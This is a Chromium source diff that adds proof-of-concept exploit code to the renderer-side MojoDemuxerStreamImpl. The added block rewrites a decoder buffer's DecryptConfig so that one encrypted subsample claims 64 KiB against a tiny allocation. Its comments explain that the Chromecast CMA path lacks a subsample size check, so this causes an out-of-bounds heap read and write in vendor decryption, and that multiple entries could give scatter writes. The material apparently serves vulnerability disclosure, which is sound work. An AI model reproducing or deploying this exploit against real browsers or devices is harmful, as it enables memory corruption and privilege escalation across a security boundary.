diff --git a/media/mojo/clients/mojo_demuxer_stream_impl.cc b/media/mojo/clients/mojo_demuxer_stream_impl.cc index 0000000..0000000 100644 --- a/media/mojo/clients/mojo_demuxer_stream_impl.cc +++ b/media/mojo/clients/mojo_demuxer_stream_impl.cc @@ -10,10 +10,13 @@ #include "base/functional/bind.h" #include "base/numerics/safe_conversions.h" #include "media/base/audio_decoder_config.h" #include "media/base/decoder_buffer.h" #include "media/base/demuxer_stream.h" +#include "media/base/encryption_scheme.h" +#include "media/base/subsample_entry.h" #include "media/base/video_decoder_config.h" #include "media/mojo/common/media_type_converters.h" #include "media/mojo/common/mojo_decoder_buffer_converter.h" +#include "media/mojo/mojom/media_types.mojom.h" namespace media { @@ -101,14 +104,45 @@ void MojoDemuxerStreamImpl::OnBufferReady( DCHECK_EQ(status, Status::kOk); std::vector output_mojo_buffers; for (auto& buffer : buffers) { mojom::DecoderBufferPtr mojo_buffer = mojo_decoder_buffer_writer_->WriteDecoderBuffer(std::move(buffer)); if (!mojo_buffer) { std::move(callback).Run(Status::kAborted, {}, audio_config, video_config); return; } + + // ---------------------------------------------------------------------- + // Compromised-renderer simulation: overwrite the mojom DecryptConfig so + // that the subsample extent vastly exceeds data_size. The browser-side + // MojoDemuxerStreamAdapter / DecoderBufferAdapter perform no + // DoSubsamplesMatch() check on the Chromecast CMA path, so the oversized + // subsample reaches vendor PushBufferForDecrypt / DecryptAsync with a + // 16-byte heap buffer and a 64 KiB cypher_bytes claim -> OOB read+write. + // + // The data pipe already carried |data_size| real bytes from + // WriteDecoderBuffer above, so the browser-side reader will complete + // normally and hand the buffer to the CMA pipeline. + // ---------------------------------------------------------------------- + if (mojo_buffer->is_data()) { + auto& data = mojo_buffer->get_data(); + if (data->decrypt_config) { + constexpr uint32_t kOobExtent = 0x10000; // 64 KiB OOB write. + auto evil = mojom::DecryptConfig::New(); + evil->encryption_scheme = EncryptionScheme::kCenc; // AES-CTR XOR. + evil->key_id = data->decrypt_config->key_id; // Reuse EME key. + evil->iv = std::string(16, '\0'); // Attacker IV. + // Single fully-encrypted subsample whose length exceeds the + // allocation. Multiple small entries can be used for scatter writes. + evil->subsamples.push_back(SubsampleEntry(0u, kOobExtent)); + evil->encryption_pattern = std::nullopt; + data->decrypt_config = std::move(evil); + LOG(ERROR) << "[POC] sent data_size=" << data->data_size + << " subsample.cypher_bytes=" << kOobExtent; + } + } output_mojo_buffers.emplace_back(std::move(mojo_buffer)); }